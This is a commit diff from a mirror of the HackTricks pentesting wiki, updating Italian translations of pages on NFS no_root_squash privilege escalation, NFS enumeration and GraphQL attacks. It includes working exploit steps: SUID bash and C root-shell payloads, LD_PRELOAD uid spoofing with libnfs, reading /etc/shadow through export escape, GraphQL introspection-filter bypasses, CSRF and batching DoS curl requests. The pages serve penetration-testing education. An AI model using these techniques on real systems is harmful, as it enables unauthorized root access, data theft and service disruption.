mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash
This commit is contained in:
parent
2bf4a068bf
commit
f4bdaeb3bd
@ -1,18 +1,29 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Leggi il _ **/etc/exports** _ file, se trovi qualche directory configurata come **no_root_squash**, allora puoi **accedervi** da **client** e **scrivere dentro** quella directory **come** se fossi il **root** locale della macchina.
|
||||
# Informazioni di Base sullo Squashing
|
||||
|
||||
**no_root_squash**: Questa opzione dà fondamentalmente autorità all'utente root sul client di accedere ai file sul server NFS come root. E questo può portare a gravi implicazioni di sicurezza.
|
||||
NFS di solito (soprattutto in linux) si fida del `uid` e `gid` indicati dal client che si connette per accedere ai file (se non viene utilizzato kerberos). Tuttavia, ci sono alcune configurazioni che possono essere impostate nel server per **cambiare questo comportamento**:
|
||||
|
||||
**no_all_squash:** Questa è simile all'opzione **no_root_squash** ma si applica agli **utenti non-root**. Immagina di avere una shell come utente nobody; controlla il file /etc/exports; l'opzione no_all_squash è presente; controlla il file /etc/passwd; emula un utente non-root; crea un file suid come quell'utente (montando usando nfs). Esegui il suid come utente nobody e diventa un utente diverso.
|
||||
- **`all_squash`**: Squasha tutti gli accessi mappando ogni utente e gruppo a **`nobody`** (65534 unsigned / -2 signed). Pertanto, tutti sono `nobody` e non vengono utilizzati utenti.
|
||||
- **`root_squash`/`no_all_squash`**: Questo è il valore predefinito su Linux e **squasha solo l'accesso con uid 0 (root)**. Pertanto, qualsiasi `UID` e `GID` sono fidati, ma `0` è squashed a `nobody` (quindi non è possibile impersonare root).
|
||||
- **``no_root_squash`**: Questa configurazione, se abilitata, non squasha nemmeno l'utente root. Ciò significa che se monti una directory con questa configurazione, puoi accedervi come root.
|
||||
|
||||
# Privilege Escalation
|
||||
Nel file **/etc/exports**, se trovi qualche directory configurata come **no_root_squash**, allora puoi **accedervi** da **client** e **scrivere all'interno** di quella directory **come** se fossi il **root** locale della macchina.
|
||||
|
||||
## Remote Exploit
|
||||
Per ulteriori informazioni su **NFS** controlla:
|
||||
|
||||
Se hai trovato questa vulnerabilità, puoi sfruttarla:
|
||||
{{#ref}}
|
||||
/network-services-pentesting/nfs-service-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
- **Montando quella directory** in una macchina client, e **come root copiando** dentro la cartella montata il **/bin/bash** binario e dandogli diritti **SUID**, ed **eseguendo dalla macchina vittima** quel binario bash.
|
||||
# Escalation dei Privilegi
|
||||
|
||||
## Exploit Remoto
|
||||
|
||||
Opzione 1 usando bash:
|
||||
- **Montare quella directory** in una macchina client e **come root copiare** all'interno della cartella montata il **/bin/bash** binario e dargli diritti **SUID**, ed **eseguire dalla macchina vittima** quel binario bash.
|
||||
- Nota che per essere root all'interno della condivisione NFS, **`no_root_squash`** deve essere configurato nel server.
|
||||
- Tuttavia, se non abilitato, potresti elevare i privilegi a un altro utente copiando il binario nella condivisione NFS e dandogli il permesso SUID come l'utente a cui vuoi elevare i privilegi.
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
mkdir /tmp/pe
|
||||
@ -25,7 +36,9 @@ chmod +s bash
|
||||
cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
- **Montare quella directory** in una macchina client, e **come root copiare** all'interno della cartella montata il nostro payload compilato che sfrutterà il permesso SUID, dargli diritti **SUID**, e **eseguire da macchina vittima** quel binario (puoi trovare qui alcuni [C SUID payloads](payloads-to-execute.md#c)).
|
||||
Opzione 2 utilizzando codice compilato in C:
|
||||
- **Montare quella directory** su una macchina client e **come root copiare** all'interno della cartella montata il nostro payload compilato che sfrutterà il permesso SUID, dargli diritti **SUID** e **eseguire da parte della vittima** quella binario (puoi trovare qui alcuni [C SUID payloads](payloads-to-execute.md#c)).
|
||||
- Stesse restrizioni di prima
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
gcc payload.c -o payload
|
||||
@ -42,14 +55,14 @@ cd <SHAREDD_FOLDER>
|
||||
## Local Exploit
|
||||
|
||||
> [!NOTE]
|
||||
> Nota che se puoi creare un **tunnel dalla tua macchina a quella della vittima, puoi comunque utilizzare la versione Remota per sfruttare questa escalation di privilegi tunnelando le porte richieste**.\
|
||||
> Il seguente trucco è nel caso in cui il file `/etc/exports` **indichi un IP**. In questo caso **non potrai utilizzare** in nessun caso il **remote exploit** e dovrai **sfruttare questo trucco**.\
|
||||
> Nota che se puoi creare un **tunnel dalla tua macchina alla macchina della vittima, puoi comunque utilizzare la versione Remota per sfruttare questa escalation di privilegi tunnelando le porte richieste**.\
|
||||
> Il seguente trucco è nel caso in cui il file `/etc/exports` **indichi un IP**. In questo caso **non sarai in grado di utilizzare** in alcun modo il **remote exploit** e dovrai **sfruttare questo trucco**.\
|
||||
> Un altro requisito necessario affinché l'exploit funzioni è che **l'export all'interno di `/etc/export`** **deve utilizzare il flag `insecure`**.\
|
||||
> --_Non sono sicuro che se `/etc/export` indica un indirizzo IP questo trucco funzionerà_--
|
||||
|
||||
## Basic Information
|
||||
|
||||
Lo scenario prevede di sfruttare una condivisione NFS montata su una macchina locale, sfruttando un difetto nella specifica NFSv3 che consente al client di specificare il proprio uid/gid, potenzialmente abilitando l'accesso non autorizzato. Lo sfruttamento prevede l'uso di [libnfs](https://github.com/sahlberg/libnfs), una libreria che consente la falsificazione delle chiamate RPC NFS.
|
||||
Lo scenario prevede di sfruttare una condivisione NFS montata su una macchina locale, sfruttando un difetto nella specifica NFSv3 che consente al client di specificare il proprio uid/gid, potenzialmente abilitando l'accesso non autorizzato. Lo sfruttamento comporta l'uso di [libnfs](https://github.com/sahlberg/libnfs), una libreria che consente la falsificazione delle chiamate RPC NFS.
|
||||
|
||||
### Compiling the Library
|
||||
|
||||
@ -60,36 +73,31 @@ I passaggi per la compilazione della libreria potrebbero richiedere aggiustament
|
||||
make
|
||||
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
|
||||
```
|
||||
### Esecuzione dell'Exploit
|
||||
### Eseguire l'Exploit
|
||||
|
||||
L'exploit prevede la creazione di un semplice programma C (`pwn.c`) che eleva i privilegi a root e poi esegue una shell. Il programma viene compilato e il binario risultante (`a.out`) viene posizionato sulla condivisione con suid root, utilizzando `ld_nfs.so` per falsificare l'uid nelle chiamate RPC:
|
||||
L'exploit comporta la creazione di un semplice programma C (`pwn.c`) che eleva i privilegi a root e poi esegue una shell. Il programma viene compilato e il binario risultante (`a.out`) viene posizionato nella condivisione con suid root, utilizzando `ld_nfs.so` per falsificare l'uid nelle chiamate RPC:
|
||||
|
||||
1. **Compila il codice dell'exploit:**
|
||||
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
|
||||
2. **Posiziona l'exploit sulla condivisione e modifica i suoi permessi falsificando l'uid:**
|
||||
|
||||
2. **Posizionare l'exploit nella condivisione e modificare le sue autorizzazioni falsificando l'uid:**
|
||||
```bash
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
|
||||
3. **Esegui l'exploit per ottenere privilegi di root:**
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
## Bonus: NFShell per Accesso ai File Stealthy
|
||||
|
||||
## Bonus: NFShell per Accesso ai File in Modo Stealth
|
||||
|
||||
Una volta ottenuto l'accesso root, per interagire con la condivisione NFS senza cambiare la proprietà (per evitare di lasciare tracce), viene utilizzato uno script Python (nfsh.py). Questo script regola l'uid per corrispondere a quello del file a cui si accede, consentendo l'interazione con i file sulla condivisione senza problemi di permesso:
|
||||
Una volta ottenuto l'accesso root, per interagire con la condivisione NFS senza cambiare la proprietà (per evitare di lasciare tracce), viene utilizzato uno script Python (nfsh.py). Questo script regola l'uid per corrispondere a quello del file a cui si accede, consentendo l'interazione con i file sulla condivisione senza problemi di autorizzazione:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# script from https://www.errno.fr/nfs_privesc.html
|
||||
|
@ -2,30 +2,67 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Informazioni di Base**
|
||||
## **Informazioni di base**
|
||||
|
||||
**NFS** è un sistema progettato per **client/server** che consente agli utenti di accedere senza problemi ai file su una rete come se questi file fossero situati all'interno di una directory locale.
|
||||
|
||||
Un aspetto notevole di questo protocollo è la sua mancanza di **meccanismi di autenticazione** o **autorizzazione** integrati. Invece, l'autorizzazione si basa su **informazioni del file system**, con il server incaricato di tradurre accuratamente **le informazioni utente fornite dal client** nel **formato di autorizzazione** richiesto dal file system, seguendo principalmente la **sintassi UNIX**.
|
||||
|
||||
L'autenticazione si basa comunemente su **identificatori `UID`/`GID` UNIX e appartenenze ai gruppi**. Tuttavia, sorge una sfida a causa della potenziale discrepanza nelle **mappature `UID`/`GID`** tra client e server, lasciando spazio a nessuna verifica aggiuntiva da parte del server. Di conseguenza, il protocollo è più adatto per l'uso all'interno di **reti fidate**, data la sua dipendenza da questo metodo di autenticazione.
|
||||
**NFS** è un sistema progettato per **client/server** che consente agli utenti di accedere senza soluzione di continuità ai file su una rete come se questi file fossero situati all'interno di una directory locale.
|
||||
|
||||
**Porta predefinita**: 2049/TCP/UDP (eccetto la versione 4, richiede solo TCP o UDP).
|
||||
```
|
||||
2049/tcp open nfs 2-3 (RPC #100003
|
||||
```
|
||||
### Autenticazione
|
||||
|
||||
Un aspetto notevole di questo protocollo è la sua abituale mancanza di meccanismi di **autenticazione** o **autorizzazione** integrati. Invece, l'autorizzazione si basa su **informazioni del file system**, con il server incaricato di tradurre accuratamente le **informazioni utente fornite dal client** nel **formato di autorizzazione** richiesto dal file system, seguendo principalmente la **sintassi UNIX**.
|
||||
|
||||
L'autenticazione si basa comunemente su **identificatori `UID`/`GID` UNIX e appartenenze ai gruppi**. Tuttavia, sorge una sfida a causa della potenziale discrepanza nelle **mappature `UID`/`GID`** tra client e server, lasciando poco spazio per ulteriori verifiche da parte del server. Inoltre, questi dettagli vengono inviati dal client e sono fidati dal server, quindi un client malintenzionato potrebbe potenzialmente **fingere di essere un altro utente inviando `uid` e `gid` più privilegiati**.
|
||||
|
||||
**Tuttavia, nota che per impostazione predefinita non è possibile impersonare il `UID` 0 (root) utilizzando NFS. Maggiori informazioni su questo nella sezione di squashing.**
|
||||
|
||||
#### Host
|
||||
|
||||
Per una migliore (o qualche) autorizzazione, puoi specificare gli **host** che possono accedere alla condivisione NFS. Questo può essere fatto nel file Linux `/etc/exports`. Ad esempio:
|
||||
```
|
||||
/PATH/TO/EXPORT CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
|
||||
/media/disk/share 192.168.2.123(rw,sec=krb5p:krb5i)
|
||||
```
|
||||
As you can see, it allows to configure a specific **IP** or **hostname** to access the share. Only that address will be able to access the share.
|
||||
|
||||
### Versioni
|
||||
|
||||
- **NFSv2**: Questa versione è riconosciuta per la sua ampia compatibilità con vari sistemi, segnando la sua importanza con operazioni iniziali prevalentemente su UDP. Essendo la **più vecchia** della serie, ha gettato le basi per sviluppi futuri.
|
||||
|
||||
- **NFSv3**: Introdotto con una serie di miglioramenti, NFSv3 si è ampliato rispetto al suo predecessore supportando dimensioni di file variabili e offrendo meccanismi di reporting degli errori migliorati. Nonostante i suoi progressi, ha affrontato limitazioni nella piena compatibilità retroattiva con i client NFSv2.
|
||||
|
||||
- **NFSv4**: Una versione fondamentale nella serie NFS, NFSv4 ha portato una suite di funzionalità progettate per modernizzare la condivisione di file attraverso le reti. I miglioramenti notevoli includono l'integrazione di Kerberos per **alta sicurezza**, la capacità di attraversare firewall e operare su Internet senza la necessità di portmappers, supporto per le Liste di Controllo degli Accessi (ACL) e l'introduzione di operazioni basate sullo stato. I suoi miglioramenti delle prestazioni e l'adozione di un protocollo stateful distinguono NFSv4 come un avanzamento fondamentale nelle tecnologie di condivisione di file in rete.
|
||||
- **NFSv4**: Una versione fondamentale nella serie NFS, NFSv4 ha portato una suite di funzionalità progettate per modernizzare la condivisione di file attraverso le reti. I miglioramenti notevoli includono l'integrazione di Kerberos per **alta sicurezza**, la capacità di attraversare i firewall e operare su Internet senza la necessità di portmappers, supporto per le Liste di Controllo degli Accessi (ACL) e l'introduzione di operazioni basate su stato. I suoi miglioramenti delle prestazioni e l'adozione di un protocollo stateful distinguono NFSv4 come un avanzamento fondamentale nelle tecnologie di condivisione di file in rete.
|
||||
- Nota che è molto strano trovare un host Linux NFS che supporta l'autenticazione kerberos.
|
||||
|
||||
Ogni versione di NFS è stata sviluppata con l'intento di affrontare le esigenze in evoluzione degli ambienti di rete, migliorando progressivamente sicurezza, compatibilità e prestazioni.
|
||||
|
||||
### Squashing
|
||||
|
||||
Come accennato in precedenza, NFS di solito si fida del `uid` e `gid` del client per accedere ai file (se non viene utilizzato kerberos). Tuttavia, ci sono alcune configurazioni che possono essere impostate nel server per **cambiare questo comportamento**:
|
||||
|
||||
- **all_squash**: Riduce tutti gli accessi mappando ogni utente e gruppo a **`nobody`** (65534 unsigned / -2 signed). Pertanto, tutti sono `nobody` e non vengono utilizzati utenti.
|
||||
- **root_squash/no_all_squash**: Questo è predefinito su Linux e **riduce solo l'accesso con uid 0 (root)**. Pertanto, qualsiasi `UID` e `GID` sono fidati, ma `0` è ridotto a `nobody` (quindi non è possibile impersonare root).
|
||||
- **no_root_squash**: Questa configurazione, se abilitata, non riduce nemmeno l'utente root. Ciò significa che se monti una directory con questa configurazione puoi accedervi come root.
|
||||
|
||||
### Controllo del sottoalbero
|
||||
|
||||
Disponibile solo su Linux. man(5) exports dice: "Se una sottodirectory di un filesystem è esportata, ma l'intero filesystem non lo è, allora ogni volta che arriva una richiesta NFS, il server deve controllare non solo che il file accessibile sia nel filesystem appropriato (che è facile) ma anche che sia nell'albero esportato (che è più difficile). Questo controllo è chiamato controllo del sottoalbero."
|
||||
|
||||
In Linux la **funzione `subtree_check` è disabilitata** per impostazione predefinita.
|
||||
|
||||
## Enumerazione
|
||||
|
||||
### Showmount
|
||||
|
||||
Questo può essere utilizzato per **ottenere informazioni da un server NFSv3**, come l'elenco delle **esportazioni**, chi è **autorizzato ad accedere** a queste esportazioni e quali client sono connessi (che potrebbe essere impreciso se un client si disconnette senza avvisare il server).
|
||||
Nei **client NFSv4 accedono direttamente all' / export** e provano ad accedere alle esportazioni da lì, fallendo se è non valido o non autorizzato per qualsiasi motivo.
|
||||
|
||||
Se strumenti come `showmount` o moduli Metasploit non mostrano informazioni da una porta NFS, è potenzialmente un server NFSv4 che non supporta la versione 3.
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
### Script nmap utili
|
||||
```bash
|
||||
nfs-ls #List NFS exports and check permissions
|
||||
@ -36,7 +73,11 @@ nfs-statfs #Disk statistics and info from NFS share
|
||||
```bash
|
||||
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
||||
```
|
||||
### Montaggio
|
||||
### nfs_analyze
|
||||
|
||||
Questo strumento da [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) può essere utilizzato per ottenere molti dati da un server NFS come **mounts**, versioni NFS supportate, IP connessi e persino se è possibile **uscire dagli exports** in altre cartelle nel FS o **se `no_root_squash` è abilitato**.
|
||||
|
||||
## Mounting
|
||||
|
||||
Per sapere **quale cartella** ha il server **disponibile** per il montaggio, puoi chiederglielo usando:
|
||||
```bash
|
||||
@ -53,22 +94,47 @@ Dovresti specificare di **utilizzare la versione 2** perché non ha **alcuna** *
|
||||
mkdir /mnt/new_back
|
||||
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
## Permessi
|
||||
## Attacchi
|
||||
|
||||
Se monti una cartella che contiene **file o cartelle accessibili solo da alcuni utenti** (tramite **UID**). Puoi **creare** **localmente** un utente con quel **UID** e utilizzando quel **utente** sarai in grado di **accedere** al file/cartella.
|
||||
### Fidarsi di UID e GID
|
||||
|
||||
## NSFShell
|
||||
Certo, l'unico problema qui è che per impostazione predefinita non è possibile impersonare root (`UID` 0). Tuttavia, è possibile impersonare qualsiasi altro utente o, se `no_root_squash` è abilitato, puoi anche impersonare root.
|
||||
|
||||
Per elencare, montare e cambiare facilmente UID e GID per avere accesso ai file, puoi usare [nfsshell](https://github.com/NetDirect/nfsshell).
|
||||
- Se monti una cartella che contiene **file o cartelle accessibili solo da un certo utente** (per **UID**). Puoi **creare** **localmente** un utente con quel **UID** e utilizzando quel **utente** sarai in grado di **accedere** al file/cartella.
|
||||
- Lo strumento **`fuse_nfs`** da [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) invierà sempre il UID e GID necessari per accedere ai file.
|
||||
|
||||
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
### Escalation dei privilegi SUID
|
||||
|
||||
Controlla la pagina:
|
||||
|
||||
{{#ref}}
|
||||
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### Uscire dagli export
|
||||
|
||||
In questo [ottimo articolo](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) è possibile vedere che è possibile **uscire dagli export per accedere ad altre cartelle nel FS**.
|
||||
|
||||
Pertanto, se un export sta esportando una cartella che è una **sottocartella** dell'**intero filesystem**, è possibile accedere a file al di fuori dell'export se **`subtree_check`** è disabilitato. Ed è **disabilitato per impostazione predefinita in Linux**.
|
||||
|
||||
Ad esempio, se un server NFS sta esportando `/srv/` e `/var/` si trova nello stesso filesystem, è possibile leggere i log da `/var/log/` o memorizzare una webshell in `/var/www/`.
|
||||
|
||||
Inoltre, nota che per impostazione predefinita solo l'utente root (0) è protetto dall'essere impersonato (controlla la sezione Squash). Tuttavia, se un file è **possesso di root ma il gruppo non è 0, è possibile accedervi**. Ad esempio, il file `/etc/shadow` è di proprietà di root ma il gruppo è `shadow` (gid 42 su Debian). Pertanto, è possibile leggerlo per impostazione predefinita!
|
||||
|
||||
Lo strumento **`nfs_analyze`** da [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) è progettato per supportare questo attacco contro i file system ext4, xfs, btrfs nella versione 3 (dovrebbe essere possibile anche nella v4).
|
||||
|
||||
### NSFShell
|
||||
|
||||
Per elencare, montare e cambiare facilmente UID e GID per avere accesso ai file puoi usare [nfsshell](https://github.com/NetDirect/nfsshell).
|
||||
|
||||
[Ottimo tutorial su NFSShell.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
|
||||
## File di configurazione
|
||||
```
|
||||
/etc/exports
|
||||
/etc/lib/nfs/etab
|
||||
```
|
||||
### Impostazioni pericolose
|
||||
## Impostazioni pericolose
|
||||
|
||||
- **Permessi di Lettura e Scrittura (`rw`):** Questa impostazione consente sia la lettura che la scrittura nel file system. È essenziale considerare le implicazioni di concedere un accesso così ampio.
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Introduzione
|
||||
|
||||
GraphQL è **evidenziato** come un **alternativa efficiente** alle API REST, offrendo un approccio semplificato per interrogare i dati dal backend. A differenza di REST, che spesso richiede numerose richieste attraverso vari endpoint per raccogliere dati, GraphQL consente di recuperare tutte le informazioni necessarie tramite una **singola richiesta**. Questa semplificazione **beneficia significativamente gli sviluppatori** riducendo la complessità dei loro processi di recupero dati.
|
||||
GraphQL è **evidenziato** come un **alternativa efficiente** alle API REST, offrendo un approccio semplificato per interrogare i dati dal backend. A differenza di REST, che spesso richiede numerose richieste attraverso vari endpoint per raccogliere dati, GraphQL consente di recuperare tutte le informazioni necessarie tramite una **singola richiesta**. Questa semplificazione **beneficia notevolmente gli sviluppatori** riducendo la complessità dei loro processi di recupero dati.
|
||||
|
||||
## GraphQL e Sicurezza
|
||||
|
||||
@ -29,7 +29,7 @@ Identificare istanze GraphQL aperte consente di esaminare le query supportate. Q
|
||||
|
||||
Lo strumento [**graphw00f**](https://github.com/dolevf/graphw00f) è in grado di rilevare quale motore GraphQL è utilizzato in un server e poi stampa alcune informazioni utili per l'auditor di sicurezza.
|
||||
|
||||
#### Query universali <a href="#universal-queries" id="universal-queries"></a>
|
||||
#### Query Universali <a href="#universal-queries" id="universal-queries"></a>
|
||||
|
||||
Per controllare se un URL è un servizio GraphQL, può essere inviata una **query universale**, `query{__typename}`. Se la risposta include `{"data": {"__typename": "Query"}}`, conferma che l'URL ospita un endpoint GraphQL. Questo metodo si basa sul campo `__typename` di GraphQL, che rivela il tipo dell'oggetto interrogato.
|
||||
```javascript
|
||||
@ -202,7 +202,7 @@ Tuttavia, in questo esempio se provi a farlo ottieni questo **errore**:
|
||||
.png>)
|
||||
|
||||
Sembra che in qualche modo cercherà utilizzando l'argomento "_**uid**_" di tipo _**Int**_.\
|
||||
Comunque, già sapevamo che, nella sezione [Basic Enumeration](graphql.md#basic-enumeration), era stata proposta una query che ci mostrava tutte le informazioni necessarie: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
Comunque, lo sapevamo già, nella sezione [Basic Enumeration](graphql.md#basic-enumeration) è stata proposta una query che ci mostrava tutte le informazioni necessarie: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
Se leggi l'immagine fornita quando eseguo quella query vedrai che "_**user**_" aveva l'**arg** "_**uid**_" di tipo _Int_.
|
||||
|
||||
@ -359,7 +359,7 @@ Una bella **wordlist** per scoprire [**entità GraphQL può essere trovata qui**
|
||||
|
||||
### Bypassare le difese di introspezione GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
Per bypassare le restrizioni sulle query di introspezione nelle API, inserire un **carattere speciale dopo la parola chiave `__schema`** si è dimostrato efficace. Questo metodo sfrutta le comuni disattenzioni degli sviluppatori nei modelli regex che mirano a bloccare l'introspezione concentrandosi sulla parola chiave `__schema`. Aggiungendo caratteri come **spazi, nuove righe e virgole**, che GraphQL ignora ma che potrebbero non essere considerati nel regex, le restrizioni possono essere eluse. Ad esempio, una query di introspezione con una nuova riga dopo `__schema` può bypassare tali difese:
|
||||
Per bypassare le restrizioni sulle query di introspezione nelle API, inserire un **carattere speciale dopo la parola chiave `__schema`** si è dimostrato efficace. Questo metodo sfrutta le comuni disattenzioni degli sviluppatori nei modelli regex che mirano a bloccare l'introspezione concentrandosi sulla parola chiave `__schema`. Aggiungendo caratteri come **spazi, nuove righe e virgole**, che GraphQL ignora ma che potrebbero non essere considerati nel regex, le restrizioni possono essere eluse. Ad esempio, una query di introspezione con una nuova riga dopo `__schema` potrebbe bypassare tali difese:
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
@ -405,7 +405,7 @@ file:* query
|
||||
```
|
||||
## CSRF in GraphQL
|
||||
|
||||
Se non sai cos'è il CSRF, leggi la seguente pagina:
|
||||
Se non sai cos'è il CSRF, leggi la pagina seguente:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/csrf-cross-site-request-forgery.md
|
||||
@ -425,7 +425,7 @@ Pertanto, poiché le richieste CSRF come quelle precedenti vengono inviate **sen
|
||||
|
||||
Tuttavia, nota che il nuovo valore predefinito del cookie del flag `samesite` di Chrome è `Lax`. Ciò significa che il cookie verrà inviato solo da un sito web di terze parti in richieste GET.
|
||||
|
||||
Nota che è solitamente possibile inviare la **richiesta** **query** anche come **richiesta** **GET** e il token CSRF potrebbe non essere convalidato in una richiesta GET.
|
||||
Nota che è solitamente possibile inviare la **richiesta** **query** anche come **richiesta GET e il token CSRF potrebbe non essere convalidato in una richiesta GET.**
|
||||
|
||||
Inoltre, abusando di un [**XS-Search**](../../pentesting-web/xs-search/index.html) **attacco** potrebbe essere possibile esfiltrare contenuti dall'endpoint GraphQL abusando delle credenziali dell'utente.
|
||||
|
||||
@ -447,7 +447,7 @@ Molte funzioni GraphQL definite sull'endpoint potrebbero controllare solo l'aute
|
||||
|
||||
Modificare le variabili di input della query potrebbe portare a dettagli sensibili dell'account [leaked](https://hackerone.com/reports/792927).
|
||||
|
||||
Le mutazioni potrebbero persino portare a un takeover dell'account tentando di modificare i dati di altri account.
|
||||
Le mutazioni potrebbero persino portare a un takeover dell'account tentando di modificare i dati di un altro account.
|
||||
```javascript
|
||||
{
|
||||
"operationName":"updateProfile",
|
||||
@ -501,7 +501,7 @@ Per mitigare questo, implementa limiti sul conteggio degli alias, analisi della
|
||||
|
||||
### **Batching delle Query Basato su Array**
|
||||
|
||||
**Batching delle Query Basato su Array** è una vulnerabilità in cui un'API GraphQL consente di raggruppare più query in una singola richiesta, consentendo a un attaccante di inviare un numero elevato di query simultaneamente. Questo può sovraccaricare il backend eseguendo tutte le query raggruppate in parallelo, consumando risorse eccessive (CPU, memoria, connessioni al database) e potenzialmente portando a un **Denial of Service (DoS)**. Se non esiste un limite sul numero di query in un batch, un attaccante può sfruttare questo per degradare la disponibilità del servizio.
|
||||
Il **Batching delle Query Basato su Array** è una vulnerabilità in cui un'API GraphQL consente di raggruppare più query in una singola richiesta, consentendo a un attaccante di inviare un numero elevato di query simultaneamente. Questo può sovraccaricare il backend eseguendo tutte le query raggruppate in parallelo, consumando risorse eccessive (CPU, memoria, connessioni al database) e potenzialmente portando a un **Denial of Service (DoS)**. Se non esiste un limite sul numero di query in un batch, un attaccante può sfruttare questo per degradare la disponibilità del servizio.
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -509,7 +509,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
In questo esempio, 10 query diverse vengono accorpate in una sola richiesta, costringendo il server a eseguire tutte simultaneamente. Se sfruttato con una dimensione del batch più grande o query computazionalmente costose, può sovraccaricare il server.
|
||||
In questo esempio, 10 diverse query vengono raggruppate in una sola richiesta, costringendo il server a eseguire tutte simultaneamente. Se sfruttato con una dimensione del batch più grande o query computazionalmente costose, può sovraccaricare il server.
|
||||
|
||||
### **Vulnerabilità da Sovraccarico di Direttive**
|
||||
|
||||
@ -551,14 +551,14 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
### Scanner di vulnerabilità
|
||||
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testa le configurazioni errate comuni degli endpoint graphql
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script di auditing della sicurezza GraphQL con un focus sull'esecuzione di query e mutazioni batch GraphQL.
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script di auditing della sicurezza GraphQL con un focus sull'esecuzione di query e mutazioni GraphQL in batch.
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerprint del graphql in uso
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit che può essere utilizzato per acquisire schemi e cercare dati sensibili, testare autorizzazioni, forzare schemi e trovare percorsi per un dato tipo.
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Può essere utilizzato come standalone o [estensione Burp](https://github.com/doyensec/inql).
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Può essere utilizzato anche come client CLI per automatizzare attacchi
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Può essere utilizzato anche come client CLI per automatizzare attacchi: `python3 graphqlmap.py -u http://example.com/graphql --inject`
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Strumento che elenca i diversi modi di **raggiungere un dato tipo in uno schema GraphQL**.
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Il successore delle modalità Standalone e CLI di InQL
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Estensione Burp per test avanzati di GraphQL. Lo _**Scanner**_ è il nucleo di InQL v5.0, dove puoi analizzare un endpoint GraphQL o un file di schema di introspezione locale. Genera automaticamente tutte le possibili query e mutazioni, organizzandole in una vista strutturata per la tua analisi. Il componente _**Attacker**_ ti consente di eseguire attacchi batch GraphQL, che possono essere utili per eludere limiti di velocità mal implementati.
|
||||
